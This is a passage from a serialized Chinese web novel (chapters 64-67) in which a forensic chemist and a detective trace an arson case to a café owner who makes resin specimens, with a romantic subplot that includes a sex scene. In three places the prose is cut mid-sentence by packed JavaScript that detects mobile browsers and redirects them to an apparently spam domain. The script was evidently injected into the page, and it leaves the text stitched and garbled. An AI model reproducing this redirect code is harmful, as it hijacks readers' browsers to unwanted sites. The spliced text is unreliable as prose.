“砂糖橘……”腾凌涛在手机上敲下几个字,确认了图片,眼神忽然柔和下来,“是这个。” “帮我买一些送到办公室……” 64.自行车 隔日中午。 陶律夏刚踏出楼门,就看见罗乐跨在一辆自行车上,长腿微弯,鞋尖点地。早晨说想去现场看看,想不到他居然骑来辆自行车代步。 手指落在后座,是块加厚的皮质软垫,陶律夏抬起头问:“你还弄了坐垫?” 罗乐浮夸地抬起下巴,推了一把鼻梁上的墨镜,深琥珀色的Wayfarer。 “哦,平时要接我对象下学,怕坐久了屁股疼。” 对象二字像块石头哐镗一下砸进陶律夏心里,溅起冰凉的水花。他这才意识到,自己竟从没想过要去确认罗乐的情感状态。 已经这么久了,他会不会真的……又有了对象? 人类的嫉妒不讲逻辑,沉闷的酸气在陶律夏心里无声翻涌,他完全忽略了某人脸上欠欠的调笑,只看见一幕幕刺眼的画面—— 他骑着这辆破自行车,后座载着个人,那人双手不安分地环在他腰上,头发被风吹得乱糟糟,看不清男女。 红灯口,那人探身凑到他耳边说了什么,他偏过头听,俩人就笑成了一团……整个街都甜得冒泡,路边甚至还蹲着几只猫,尾巴摇得整齐。 画面荒唐到近乎戏剧,可在陶律夏脑海里却是搭配BGM的高清播放。白天接对象放学,晚上回去还要假装深情在前男友的超话群打卡?! 陶律夏下颌线绷得发紧,心里狠狠地吐出两个字——渣男!!! “愣着干嘛呢?赶紧上车啊。”不明真相的“渣男”还在一旁催促。 判词落下,翻腾的酸意被压回暗处,陶律夏唇角缓缓勾起一抹薄笑,抬眼冷冷地一扫,目光忽然凝住,车把上好像贴着几枚粉色贴纸…… 他不动声色地往前靠了半步,凑近一看-- 小马宝莉…… “你的对象是在上小学吗?”陶律夏微扬起脸,指尖轻轻点了两下车把上的贴纸。 “我能干那违法的事?!”罗乐抬头瞪他一眼,“借的!赶紧上来!” 陶律夏慢悠悠地坐上后座。风一吹,那人衬衫的下摆轻轻扬起,带出一阵熟悉的香气,他凑近浅浅嗅了一下:是家里洗衣液的味道,香气从胸口缓缓淌过,顷刻间便把汹涌的酸意冲刷得无影无踪了。 他将耳机塞进耳朵,脚尖跟着节奏轻轻晃动,愉快地哼起歌来…… 车道边的绿树过滤了不太浓烈的日光,罗乐在大楼底商的反光玻璃中瞥见坐在身后的影子,棉质衬衣的一半随意塞在牛仔裤里,长腿微微收着,脚尖可爱地晃来晃去。 影子在街景的闪动中忽隐忽现,比霓虹都耀眼。 罗乐追着那晃动的脚尖看了半路,忍不住偏过头:“听什么歌呢?” 话音刚落,一阵轻微的触感从耳廓擦过,一只耳机塞进耳中。旋律随之倾泻,曲调温柔抒情,rap部分收得克制,像低声叙述的心事。 两人各执一半,少了一侧声道,主旋律和低音的流动感都被削弱了,罗乐却依然着迷,有一种音乐之外的频率正和心跳一同共振。 没能天天骑着自行车接男朋友放学,绝对是人生一大憾事…… 等他注意到双柳公园时已经晚了,陶律夏伸手轻轻扣了下他的后背:“走过了。” 罗乐回过神,手里的刹闸猛地一捏,后座的人猝不及防地贴上来,手臂环上了他的腰。保持这个姿势有十几秒,陶律夏才慢慢松开手,轻跳下车。 “是那里吗?”他指向前方。 “嗯。”罗乐把车支在一旁,跟着走过去。 焦黑与灰白的痕迹交错成一个不规则的圆,烙在粗糙的水泥地上。百米外的高架桥车流川行,声浪不绝。 陶律夏俯身,凝视着那个焦圈。罗乐在旁开口:“老说法是在十字路口烧纸,能把钱送到阴间,让那边的亲人用。” “纸灰的碳化颗粒会被气流卷入低空,轨迹由风速、湿度、湍流和重力决定,数小时到数天后会沉降在地面或水体,没有任何定向传送的可能。”陶律夏说着直起身,侧头看向罗乐:“我并非评价它不符合科学,只是好奇最早是谁编织了这样的叙事。” “那你说该如何纪念离开的人?该怎么安放情感?“罗乐看着他。 “我今天来就是想看这个,可以如何去纪念……” “那你……“罗乐停了一下,他想问「那你呢,你找到答案了吗?」 “去吃饭吧,我饿了。”陶律夏径直朝街边走去。 看了一眼,聊了两句灵魂问题,就奔着胃去了?!“你以后想和我出来吃饭就直说!”罗乐追了上去,嘴上还埋怨着:“早晨吃得跟猫舔似的!食堂带的包子不好吃是吧,非得我给你做?” “嗯……”陶律夏点点头。 罗乐:“你是真敢使唤我啊,看你受伤才给你做的!” 谁知陶律夏停下脚步,回眸投给他近乎是温柔的一瞥。果然,和食物有关的狼狈过往都是甜蜜写下的伏笔,罗乐心口一软,立马改口:“明天想吃什么?” “想吃甜的。” “草莓奶油三明治怎么样?”他凑上去推销,口气透着些微讨好。 “草莓酱是新鲜现做吗?”陶律夏问。 罗乐愣住,真是活该惯这事儿精…… “你怎么不说话,做草莓酱应该很简单吧?控制好草莓和糖的比例,加一点柠檬汁调节PH值,加热到大约一百零五度,水分蒸发到位,自然就会得到稳定的胶体。” “行,很简……单……” “我们去买草莓和细些的砂糖吧。”陶律夏提议,“细糖有利于果汁析出。” “急啥,我都答应你了,还能耍赖不成。”罗乐撇了撇嘴,“吃了饭再去,就去……” “那家咖啡店吃吧。”他环顾四周,向正前方指了一下:“我上次去过,中午有意面套餐。” 咖啡店里人不多。吧台边上,一个金发的外国男人正和一个十岁左右的小男孩用英语对话。 Man:“Do you still remember the treasure box we talked about?” Boy:“Yes. I saw it last week.” Man:“Where was it?” Boy:“In the park near the river.” Man:“Can you tell me more?” Boy:“It’s behind two big trees, next to the old swing.” Man:“Good memory. But remember, don’t tell anyone else.” Boy:“I won’t. I promise.” “语伴。”陶律夏低声点评,接着他唇角微微一勾:“Don’t tell anyone else?Oops, too late. I heard it.” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343912|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“差点忘了!你这人还有偷东西的黑历史。”罗乐伸手在他头顶揉了一下,“小孩的宝箱你也想惦记?” 陶律夏不慌不忙地抬眼:“Do you want to go dig it with me?” “还敢拉我当同伙,小心我拷你!”罗乐咧嘴笑着,“你去点餐,我要和你一样的。” 陶律夏起身走向柜台,收银机旁放着一个摆件,透明树脂里包裹着一枚松果,鳞片呈螺旋排列,透着天然的几何美感。 “赤松?” “对。”男人点点头。 “斐波那契数列。”陶律夏拿起摆件,迎着灯光轻轻转动,”不是每颗松果都能这么接近完美。“ 男人手里的动作停了一下:“你喜欢数学?” “比起数学,我更喜欢松果,小时候很喜欢捡。“陶律夏笑着将摆件轻轻放回柜台,“这个非常漂亮,是您自己做的?” “嗯……”男人点点头,“要不要尝尝我刚烤的饼干?” “好啊。” 点完餐回到座位,陶律夏拿起饼干,掰下一角送入口中,细细咀嚼后点了点头:“伯爵饼干。” “饼干还有名字?”罗乐问。 “加了伯爵茶粉,佛手柑的香气保留得很好,没有被黄油破坏,入口松脆,糖的分量也刚刚好。做得很不错。”陶律夏不紧不慢地点评。 罗乐拿起一块丢进嘴里嚼了:“也就这样吧?哪有你说的那么夸张。” “看来烘焙饼干尚属你的烹饪盲区。”陶律夏用纸巾擦了擦唇角,又把桌面的碎渣拢起,投进垃圾桶。 “还没顾上学呢,学做饭就够我头疼的好嘛!”罗乐嚷嚷。 “觉得头疼,为什么还要学?”陶律夏问。 “为了你。” 冰块在玻璃杯里的碰撞声停了,陶律夏抬起头怔怔地望向罗乐。 “发什么愣呢,你这小子好的不学,说谎装傻全给你学会了。”罗乐不以为意地笑笑,“唉,我有正事问你,怎么判断一个人是不是懂化学。” 陶律夏低着头在餐盘里拨动,半天终于叉起一块鱿鱼圈,“你需要在什么场景下判断?” 罗乐:“日常场景,言行举止、习惯细节这些……” “福尔摩斯的那套演绎推理法吗?那你能看出我懂化学吗?或者你能看出冯宁博士懂吗?”陶律夏又问。 “这不废话嘛,你们俩一开口就露馅。”罗乐哼了一声,“你们办公室真要派个卧底,只能靠陈建平。” 陶律夏点点头:“说明你能捕捉到明显信号。” “那不明显的呢?陌生人呢?比如花店老板娘、超市老板,或者开寿材店的,你能不能看出谁是隐藏的化学大佬?” 陶律夏目光微转:“你还在想那个纵火案?” “嗯,昨天转了一天,也没什么进展,你不是说凶手至少懂点化学嘛,我就想,能不能从这周边的人里看出谁懂化学?” “能看出来吗?” “有时候能。”陶律夏低头吸了一口冰咖啡,“要看具体场景,看对方泄露出多少细节。” 罗乐凑上前:“快教教我……” “现在就有一个现成的。”陶律夏轻声说。 “谁?!” 几株圆滚滚的仙人球在窗边安静地晒太阳,陶律夏抬了抬下巴,示意柜台方向。 罗乐顺着目光看过去,又低头看回盘子里的伯爵饼干,默了片刻,他低声催促:“快点吃,我们得赶紧走!” 65.光谱咖啡 “刚才我们说的话,他会不会听到了?”罗乐把陶律夏拽到路边。 “你说店主?”陶律夏眼神微微一凝,“以距离判断,如果他留意,能够捕捉到几个关键词。怎么,你怀疑他?” 罗乐抓了把头发,声音急了:“他懂化学?” “这不是很明显吗?”陶律夏视线掠过咖啡店的招牌。 “明显什么!”罗乐的声音拔高,“别卖关子了,赶紧说!” 陶律夏转过身,看向咖啡店的方向—— “吧台墙上有副写着Os的装饰画,是化学元素「锇」,稀有铂系金属,用于做硬质合金,比如钢笔尖。” “为什么不是操作系统Operating System?”罗乐问。 “画的左上角写着76,是「锇」的原子序数。” “他戴的手套是实验室常用的丁·腈手套,用的清洁剂是自己配的,从气味推断应该是酒精加柠檬烯,另一瓶是次氯酸,上面贴着手写标签。” “窗台上的仙人球全种在烧杯里。”陶律夏顿了顿,抬手指向店门口:“你看那几盆花,自然情况下,那个品种更偏粉色或淡紫色,他的却全是蓝色。因为撒了铝盐溶液,提高了土壤酸性,让花色趋向于蓝。” “至于这个店名「光谱」,你可以说它文艺,也可以说是科学术语。” “还有摆在收银台边的那个树脂摆件,他告诉我是自制的。那个摆件透明度非常高,标本边缘清晰,毫无瑕疵。” 陶律夏收回视线,干脆地给出结论:“他不仅懂化学,对材料的特性掌握得还相当娴熟。” 罗乐一言不发地听完,掏出手机拨给苗川:“川哥,裴晓冬案里一直没找到的受害者家属叫什么?” “陈森。”电话那头答。 “是你吗?陈先生?”第一次来这家咖啡店时,那位女士是这样叫他的…… “卷宗里登记的地址是不是桃园小区57号?” “你怎么知道?” 脑海里轰然一声,所有的线索全都连了起来。罗乐挂断电话,一把扣住陶律夏的肩膀:"听好了,从现在开始,你不许再来这家店。" 陶律夏眉心轻蹙,抬眼迎向他:“迄今为止我只来过这儿一次,就是今天你带我来的。你如果想要警告,应该先警告你自己。” 说完,他意味深长地瞥了眼那双压在肩上的手。 罗乐怔了一瞬才松开,他抬手按住额头,嗓音发涩:“对,我是该警告我自己……我怎么,怎么能把你扯进这案子里。” "到底怎么了?你不说我走了,下午还有项目要做。"陶律夏刚要迈步,就被一只手死死攥住,力道大的甚至压得手腕都有些疼。 "从现在开始,你一秒钟都不可以离开我!”罗乐低吼道。 “你一秒钟都不可以离开我……”这句指代含糊的话把陶律夏镇住了,他没再拒绝,任由那个不要钱的“保镖”牢牢地牵住了手。 回到技侦实验室,几个人围在白板前。 “怪不得陈森离职后我一直找不到人,原来躲在那儿呢,那家店的注册法人是一个姓刘的。”苗川恍然大悟道。 几人简单聊完背景,陶律夏开始分析:“陈森摆在收银机边的树脂摆件很漂亮,透明度高,固化均匀,松果的纹理清晰得像刚摘下来。” “之前那个位置摆的是一只提琴虫标本,也很逼真。”罗乐翻出之前拍的照片,把手机递给刘瑞。 “什……什么虫?”苗川一脸茫然。 “陶老师,你跟他科普一下。”罗乐冲陶律夏努了努下巴。 陶律夏提起笔,寥寥几下勾出昆虫轮廓:“提琴虫,鞘翅目,步甲科的一种,因为外形像提琴而得名……” “我说……”苗川看着白板上的虫子,忍不住打断:“重点是虫子吗?” “有关系。”陶律夏抬起头,神情一本正经,“提琴虫的外骨骼结构特殊,做标本时如果处理不好,很容易出现气泡或者影响光泽。” “而这个标本……”陶律夏举起罗乐的手机,“其精良程度说明陈森对树脂流动性和固化时间掌握得非常精准。” 苗川看着陶律夏,忽然生出一种莫名的熟悉感。他侧头一看,果不其然,罗乐正挂着一脸“终于找到知音”的笑,和那位「虫子专家」心照不宣地交换了个眼神。 陶律夏接着说:“我们之前在裴晓冬的衣物残片中检测到 M酮,它是火灾现场调查中助燃剂检测的指标,因此当时推测嫌疑人用它作为助燃剂。” “今天看到那个树脂摆件,你是不是有了新的想法?”罗乐问。 啧……这话接得比主持人拿台本cue台词还自然,苗川腹诽,再看那「虫子专家」,朝罗捧哏的方向略一点头,又在白板上刷刷写字。 “我现在猜测,裴晓冬衣物残片上的M酮很可能不是直接使用,而是 K酮热分解的产物。” “K酮?”苗川回过神追问,“跟M酮有什么不一样?” “两个不是一种物质……‘’陶律夏换了一支红笔写下全称,“K酮是常见的固化剂,可以让树脂硬化,陈森要制作树脂摆件就可能用到K酮。它稳定时是液体,一旦遇热,就会分解生成 M酮、甲烯等物质,并释放大量热量。” 罗乐眼神一动:“所以,裴晓冬衣物残片里检测到的 M酮可能是 K酮分解出来的?” “对。”陶律夏点点头。 “K酮也能当助燃剂吗?”苗川紧接又问。 “可以,K酮本身就是一种强氧化剂,它燃烧时释放氧气,可以大幅提高火焰温度,使燃烧更彻底。” 罗乐:“如果那个树脂摆件是用K酮固化的,我们能不能证明它和裴晓冬衣服上的助燃剂是同一种?” 陶律夏摇头:“从已经固化的成品里再去检测残留,几乎不太可能。“ “可以换个角度。”刘瑞走到白板前,接过笔在 K酮旁边刷刷写下--材料来源。 “材料来源?”罗乐重复了一遍。 刘瑞扶了下眼镜:“从摆件质感来看,我猜测他很可能用的是高品质工业材料。” “不少大厂家为了防伪和质量追踪,会在材料里添加标记化合物,这些化合物独一无二,可以被视为「化学指纹」。” “如果能找到嫌疑人使用的材料样本批次,比如购买记录,就能对比分析是否与案发现场的助燃剂残留同源。” 回到家,罗乐伴着浴室的水声,在脑海里一点点复盘线索—— 21:45分,周平打电话让裴晓冬重取外卖,裴晓冬拒绝; 21:55分,他从寿材店出来,拐去「光谱咖啡」取饼干(假设); 22:15分前,他从光谱咖啡到达双柳公园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355630|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附近的十字路口。 时间线吻合,有作案动机、有作案条件,却没有证据。当天裴晓冬并没有去「光谱咖啡」的订单,当日能查到的监控录像里,也没有两人同框的画面。 难道他们私下联系过? 也不可能,苗川说过受害者家属不肯原谅裴晓冬,根本不愿见他。 皂沫混着水从手背流走,罗乐冲干净身上的泡沫,用毛巾胡乱擦了把头发,推门走出浴室。 餐厅的灯还亮着,陶律夏坐在电脑前。已经十一点多了,这几天观察下来,小夜猫子就没在十二点前睡过。 “怎么还不睡?”罗乐走过去。 “在看树脂制作的论坛,想找找有没有线索。”陶律夏又点了几下鼠标。 罗乐凑过去一瞧,页面正停在一个讨论帖【颜色全糊了,半透明渐变怎么做才不会浑?】 @Resin老李:比例不对?或者试试慢固型? @月光手作:分层时间拉长一点,别急。 @嘴毒捡漏王:这是啥?老冰棍挂坠? …… 再往下是个翻车贴【第一次做大件,果不其然裂了】,配图是一块心形托盘,边缘布满白纹。 @北极不是熊:是不是温度没控制好? @神笔马良:换固化剂试试,搜下D-325那款。 @来图一乐:哥们,你这直接当个裂纹艺术品卖也不是不行。 陶律夏:“做这种工艺品,大概率要查教程。论坛有人晒作品,也有人求助买材料,说不定能发现陈森的蛛丝马迹。” “你就这么拿肉眼大海捞针啊?”罗乐趴在桌边,盯着陶律夏,“早点睡吧,技术那边正查呢。” “随便翻翻,万一他晒过呢,有些古早论坛可能不会绑定手机号,但一定需要邮箱,如果找到他的早期邮箱就有可能串联起他的大部分账号。”陶律夏嘴角微挑。 罗乐拉开椅子,坐到他旁边一起看。翻着翻着,翻到一张晒图,晶莹的树脂球里包裹着一朵红色的玫瑰花。 “别滑那么快啊!”罗乐嚷了一声。 “你想学?”陶律夏唇角一弯。 “笑话!我学这干嘛,封你的钢笔帽?”罗乐说着又瞄了几眼。 “做树脂是为了保存,不是搞破坏。”陶律夏偏过脸。不知不觉间,两人已靠得很近,罗乐一甩脑袋,湿漉漉的发梢飞出几滴水珠,溅在陶律夏颈侧。 陶律夏微微一顿,不动声色地往外挪了半分:“你去把头发吹干。” “我去吹头发,你去睡觉。” “我再看一会。”陶律夏头也不抬。 “别看了,去休息。”罗乐抬手去拿鼠标。 “我还没看完呢!”陶律夏起身去夺,脚下却没踩稳,身子一晃。 “小心脚!” 手腕瞬间被攥住,紧接着一拽,陶律夏整个人便跌进那人怀里,胸膛灼热,湿润的气息混着沐浴露的清香贴在耳侧。他挣了两下,却只换来更紧的箍抱。 “就抱一会儿,让我也回报一下你。”罗乐压低声音。 “……什么回报?” “你这么卖力帮我,回报你的福利。”罗乐下巴抵在他肩窝。 “你把这叫福利?”陶律夏提高音量。 “不满意?”呼吸从颈侧擦过,唇顺势贴了上去,“那就多补你点。” 66.意乱情迷 “是不是来找我的?”罗乐低声问,唇齿擦过耳廓,热气顺着耳道钻进去。 陶律夏抬手想推开他,却被他反压在桌面,木质桌硌着背,整个人被困在臂弯与桌面之间。 “一问你这个,就变着法躲。”罗乐俯下身,鼻尖蹭过他的脸侧,“陶老师,你做贼心虚啊……” “你先让我起来。” “起来干什么?”罗乐单手压住他的手腕,另一只手滑到腰侧,“你坐在这儿,不就是为了看我?书房都不去了,天天在餐厅待着。” “你胡说!” “律夏你变了,现在怎么这么爱说谎?”罗乐目光灼烈,像要把人剥开看个透。 “你也变了!” “「也」变了,你承认说谎了是吧。” “……” “我怎么变了?”罗乐盯着他。 “你怎么变成……这样了。”陶律夏别开脸。 “哪样?” 陶律夏没法再答,唇齿间的呼吸已被搅乱,那人急切又霸道,舌尖缠着不放,带着几分要把人吞下去的狠劲。 罗乐原本只是想讨点“旧账”,可一旦尝到味道,就像被什么点燃了,火势一路蔓延。 “说,是不是来找我的?”他贴在耳边低声咬字。 陶律夏闷哼一声,手掌抵在对方肩上,半推半就间还是滑进了衣领,攀上那截覆着薄汗的肌肤。 “是……”情迷中,他终于说出了口。 得到这个信号,罗乐直接把人从桌上捞起来,打横抱进卧室。 床垫微微下陷,陶律夏被压在中央,刚想撑起身,就被扣住手腕直接压回去,手臂沿着头顶锁死。他只能仰着颈,任那灼热的亲吻肆意落下,从耳垂、下颌、颈侧……一路滑下。 “别……”声音已全然走了调。 “别什么?”罗乐含糊地问,“难道不舒服吗?” 热吻带着细微的咬意蔓延,陶律夏被吻得整个人后仰,腿弯在不知不觉间被抬起,空气里只剩下急促的呼吸声。 …… 时间被拉长到模糊,罗乐把手探到身后,才轻轻一使劲,怀里的人便低声喊疼。 他停下动作,把人搂在怀里安抚,气息缠着话语一并落在耳侧:“……你们家,有没有那个东西?” 陶律夏转过头,声音里满是羞恼:“我一直单身,怎么会需要那些!” “嚷什么?”罗乐低着声压住他,“再喊,我现在就去买。” “你还用去买?你难道不是天天带着!”陶律夏猛地推开他,半坐起来,眼里带着审视。 “我带那玩意干嘛?”罗乐差点笑出声。 “没有?那你牛仔裤的小口袋里装的是什么?” 罗乐的脑子“嗡”的一下,蓄势待发的冲动顷刻溃散,精虫都逃窜了,他翻身捞起裤子,气急败坏地掏出来往床头柜上一拍:“耳机!” 陶律夏的视线不小心往下一飘,忙别开脸。 “我得塞多少个套,才能鼓成这样?”罗乐的嗓门都高了,“你是不是觉得你哥特猛?” “你别乱说!”陶律夏抬眼瞪过去,却鬼使神差地又瞄了一眼,心里暗暗承认:确实算得上猛。 “偷看什么呢!”罗乐咧嘴一笑,回到床上把人抱在怀里,“以后得准备了,给你一个人准备。” 亲了一会,他的指尖缓慢抚过陶律夏的手腕扣紧,唇瓣贴在颈侧半真半假地呢喃:“要不你也--” “不要!” “唉!我还没说呢,你怎么就这幅嘴脸?刚才……” “刚才什么?明明是你……”话还没讲完,陶律夏的嘴唇就被堵住。那一吻来势汹汹,狠得像是惩罚,却在最后收束成印在额头的温柔一点。 “睡吧宝贝,我去洗个澡。” 陶律夏听着浴室里的水声,心里一片乱麻,两个人就这么莫名其妙地和好了?又稀里糊涂地上了床?这算什么?他明明讨厌模糊不清的关系,偏偏却沉迷在这混乱的亲密里。 从重逢到复合,实在是过于草率,那些断裂和空白本该逐条理清,可要把从前的事全部摊开,又该如何开口…… 思绪未解,水声就停了。陶律夏连忙阖眼,佯装睡着。床垫微微一沉,那怀抱再次笼上来,热意贴近耳畔。 “我爱你,律夏”,低哑的声音像誓言般落下…… 不管了,逻辑缺失、边界模糊,但至少此刻确定的是,他们属于彼此。 清晨醒来,罗乐已不在身侧。 夜里的热度散尽,陶律夏恢复了冷静。往事如何收束、未来如何维系,这些庞大而复杂的问题,还可以暂时搁置不表,但眼下有一个更迫切的事待解:「复合」的定义。 昨夜的靠近,是否足以称之为“重新开始”? 对自己来说,这必然算数。若不然,那昨晚的举动就只能被归入欲望驱使下的放浪沉沦。若他接受这种解释,便等于亲手否定了自我。 而且,他确信自己无法容忍罗乐与他人亲密,若要对他提出排他性要求,就必须先承认情侣关系。那接下来的步骤也就清晰了:需要和当事人确认这段关系的归属。 “罗乐……”他喊了两声,没人应。 不会逃了吧?!陶律夏连忙走出卧室,环顾一圈,房间空空。 餐桌上放着草莓奶油三明治,切面整齐干净,旁边还摆着几个玻璃罐,装满了新鲜的草莓酱。一张便利贴压在罐子旁:“做多了,由你出面送给技侦的同事。直接去上班,最近不许一个人乱跑。” 吃过美味的早餐,陶律夏拎起那几罐草莓酱到了办公室。推门而入的瞬间,他看见自己的桌上摆着一瓶蓝色的玫瑰花。 自然界中并没有纯蓝的玫瑰,而此刻,那抹湛蓝正立在桌上,用它的存在将已定的秩序敲出一块浪漫的偏差…… “刑警队的罗警官拿来的。”冯宁走过来,笑着打趣,“他说是交给你的实验作业,是什么实验啊?” “毛细作用如何让玫瑰吸收色素。”陶律夏笑了笑,把手上的草莓酱一罐一罐分到大家桌上。 “之前和他去见嫌疑人,嫌疑人用这个方法做了彩虹玫瑰。” “原来如此,果酱是你做的吗?” 指尖在花瓣上拨了一下,这是他第三次送自己玫瑰了。陶律夏扬起头调皮地笑道:“我家……阿姨做的。” 罗乐在「光谱咖啡」附近转了一上午,还是没能找到可以将陈森和裴晓冬直接联系起来的证据。 路过店门口时,他下意识扫了一眼,目光停住了,靠窗的位置,坐着金发男人和那个小男孩。 这两个人他有印象,陶律夏当时开玩笑说,要和他去挖小孩口中的宝箱。 上次遇见他们也是中午,似乎是常客,把这里当成了练英语的“固定教室”。 罗乐在路边长椅上坐下,时不时扫向玻璃窗。俩人时而聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370675|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,时而写写画画,桌上的饮料渐渐只看得见薄薄的一层底。 差不多过了一个小时,终于等到两人走出门。罗乐抬脚跟上,自报家门后,温和询问:“能耽误几分钟吗?想请你们帮个忙。” 金发男人打量了他两秒,语气带着谨慎的客气:“什么事?” “我想确认一件事,需要你们的记忆帮个忙。”罗乐抬手指了指百米外的街心公园,“要不去那边坐一会?” “好啊!”小男孩率先回应。 所谓的街心公园,不过两张石桌、几条长椅,外加一些健身器械。三个人落座,罗乐从笔记本夹层里抽出一张照片,摊在石桌中央:“见过这个人吗?” 小男孩先拿起照片,眼神一落,几乎没犹豫:“见过,外卖员。” “在哪里见的?” “刚才那家咖啡店。” 罗乐心头一震,表情却不动声色,他把照片往前推了半寸:“再仔细看看,当时你们坐在哪里?他离的大概多远?” “我们要么坐吧台要么坐窗边,那天在吧台边,隔着两三米。老板把水打翻洒在他衣服上了。”小男孩说。 “什么!”罗乐原本还算放松的姿态瞬间绷紧了,“老板把水弄到了他身上!?” “对呀,”小男孩晃晃脑袋,“可能手滑吧。” 罗乐转向金发男人,目光凌厉:“您也看到了?” 男人点头,“确实洒了水,但我没法确认是不是照片上的人。Ethan认脸厉害,可我不行,隔得太久了。” “太久了吗?也就是上个星期吧。”罗乐笑笑。 金发男人反而一愣:“上个星期?都快两个月了。” “不是3月28号吗?”罗乐问。 “是二月份啊,那会还是寒假。”小男孩语气笃定。 “二月份?” “隔那么久你还记得他?”罗乐盯着小男孩。 “我还挑战过辨认更早更多的人脸,我上过电视。”小男孩得意道。 “而且那天是情人节。”金发男人接过话头。 微风拂过,石桌上的纸页簌簌作响。罗乐只觉脑子被突如其来的日期搅得一片混乱,原以为找到了一块关键拼图,却与整个时间轴脱节。 “所以,你们是在2月14日那天,在咖啡店见到老板把水撒到了这个人身上?”罗乐压下心头的惊疑,又问了一遍。 “嗯,因为是情人节,老板送了玫瑰曲奇饼干,我们还顺便练了单词,Ethan,如果加上黄油是——” “Rose Butter Cookies.”小男孩飞快接上,“给那个外卖员也送了。” 俩人走后,罗乐坐在街心公园的石凳上一遍遍地复盘刚才的对话。手机震动,他低头一看,眉眼不自觉地舒展开来,“怎么了,宝贝?” 那头静了一瞬,“……你能不能别在电话里乱叫。” “哦,那我回去叫,晚上说给你听。”罗乐故意压低嗓音。 “你在哪儿?”陶律夏没接茬。 “中山路。“ “那我长话短说。我看完2017年树脂DIY论坛、贴吧和社媒小组里帖子,锁定了三个可疑ID,说不定能找到陈森早期的注册邮箱。” “等等……”罗乐微微一顿,“为什么是2017年?” “你忘记了,那个提琴虫标本的底座上写的是:2017,加里曼丹。” 67.命运的错位 “陈森,你见过这个人吗?” “没见过。”陈森坐在审讯室的椅子上,肩膀微微耷拉着。 “没见过?”罗乐拿起一份打印出来的交易记录推到他面前,“那这个呢?你通过论坛找到网友大白鲨(ID:shark_chem),从他手里买了3升K酮分装。” 陈森扫了一眼,微微皱眉,一副认不出的样子。 “别假装不认识,我们已经找到大白鲨,2月23日你约他线下见面,当场付的现金。而且,你在论坛用的那个邮箱,还注册了「伴读熊」儿童英语 App,绑定的手机号就是你本人,上面还有2019年的订阅支付。” 陈森抬起头笑了:“我是买过 K酮,我做树脂标本,拿它当固化剂。这不是很正常吗?买它难道犯法?” “用来做标本是正常,”罗乐压低声音俯身靠近,“但把它涂在受害人身上,就不正常了。” 陈森眉头微皱:“什么受害人?” “3月28日晚上22点15分,裴晓冬在双柳公园附近烧纸,因火势失控烧成重伤。” 照片“啪”地一声在桌面摊开,裴晓冬全身缠满纱布,只露出一双眼睛。 陈森视线下意识闪开:“这和我有什么关系?” “裴晓冬衣物残片里的助燃剂残留与你用的这款K酮燃烧后的产物高度一致。”罗乐声音冷硬。 陈森抬起头:“这能说明什么? K 酮分子结构就写在教材上,燃烧后的产物不就那几个吗?任何含羰基的溶剂燃烧,都可能生成类似的痕量离子,也能跑出差不多的峰图。” “看清楚了,大白鲨卖给你的K酮来自 Y氏化学,里面有厂家用来防伪的标记化合物。”罗乐把报告举到陈森眼前,“燃烧后它会在检测图上留下一个特别的信号点——就在这里。” 罗乐在报告上点了两下,将其扔在桌上:“裴晓冬衣物残留里也检出了,这难道是巧合?” 陈森蜷起手指,扫了一眼报告,抬起头:“就算是同款,也不能证明他身上的和我有关。” 罗乐把另一份打印资料抽出来拍在桌上:“那你解释一下,你不计成本搞的外卖促销,偏偏在裴晓冬第一次来店后启动,他出事后又戛然而止。这也是巧合?” “警官?”陈森嗤笑一声,“搞外卖引流也有问题了?” “引流?你是专门引他吧?” 陈森摊开双手,语气里带着点讥讽:“一个商业促销也能和案子扯上关系?我哪知道谁会来?外卖员每天跑那么多单,他碰到谁、袖子蹭到哪儿,谁能说得清?” 罗乐身体前倾,声音骤冷:“你怎么知道是袖子?我从来都没说过袖子,我一直说的是「衣物」。” 陈森愣住了,迅速别开目光,手下意识扶了下眼镜:“我……我在视频里看见的,从袖子烧上去的。” 他话锋一转,急切地反问:“我为什么要对一个外卖员下手?” “你不知道为什么吗?”罗乐的目光钉在陈森脸上。 “2月14号下午,一个外卖员来你店里取餐。你认出了他,你儿子交通事故的肇事者--裴晓冬。” “你情绪失控,失手把水洒到他身上,还硬挤出笑脸送了他饼干,从那天开始,你就在设计这场报复。” 陈森低下头回避罗乐的注视,然而,记忆却如潮水般涌上心头—— 情人节那天,他提前关了店。街边音响里放着缠绵的情歌,情侣们手牵着手,从他身旁说笑而过。 他独自站在人行道上,手插在口袋里,下意识攥着孩子留下的钥匙扣。小家伙那会刚学会骑自行车,车铃叮当作响,他在一旁鼓掌。可如今,匙齿冰凉,割得指肚生疼。 